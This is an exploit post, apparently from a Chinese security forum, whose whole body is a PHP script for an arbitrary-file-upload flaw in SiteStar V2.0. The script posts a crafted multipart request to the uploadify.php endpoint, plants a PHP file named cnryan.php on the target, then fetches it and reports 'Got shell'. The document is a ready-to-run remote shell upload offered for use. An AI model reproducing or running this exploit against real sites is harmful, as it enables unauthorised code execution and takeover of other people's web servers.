SiteStar V2.0 任意文件上传漏洞

<? print_r(' +---------------------------------------------------------------------------+ SiteStar V2.0 Remote Shell Upload Exploit by cnryan Mail: cnryan2008[at]gmail[dot]com Blog: http://hi.baidu.com/cnryan +---------------------------------------------------------------------------+ '); if ($argc < 3) { print "\nUsage: php $argv[0] host path\n"; print "Example: php $argv[0] localhost /sitestar/\n"; die(); } error_reporting(0); set_time_limit(0); $host = $argv[1]; $path = $argv[2]; $shell = 'http://'.$host.$path.'cnryan.php'; $payload = "-----cnryan\r\n"; $payload .= "Content-Disposition: form-data; name=\"Filedata\"; filename=\"cnryan.php\"\r\n"; $payload .= "Content-Type: application/octet-stream\r\n\r\n"; $payload .= "<?php phpinfo();?>W.S.T\r\n-----cnryan\r\n"; $payload .= "Content-Disposition: form-data; name=\"upload\"\r\n\r\n\r\n"; $payload .= "-----cnryan\r\n"; $payload .= "Content-Disposition: form-data; name=\"folder\"\r\n\r\n"; $payload .= "$path\r\n"; $payload .= "-----cnryan--"; $packet = "POST {$path}/script/multiupload/uploadify.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Connection: keep-alive\r\n"; $packet .= "Content-Type: multipart/form-data; boundary=---cnryan\r\n"; $packet .= "Content-Length: ".strlen($payload)."\r\n\r\n"; $packet .= $payload; $fp = fsockopen($host, 80); fputs($fp, $packet); sleep(5); $str=file_get_contents($shell); if(strpos($str,'W.S.T')) exit("OK! Got shell:\t$shell\n"); else exit("Exploit Failed!\n"); ?>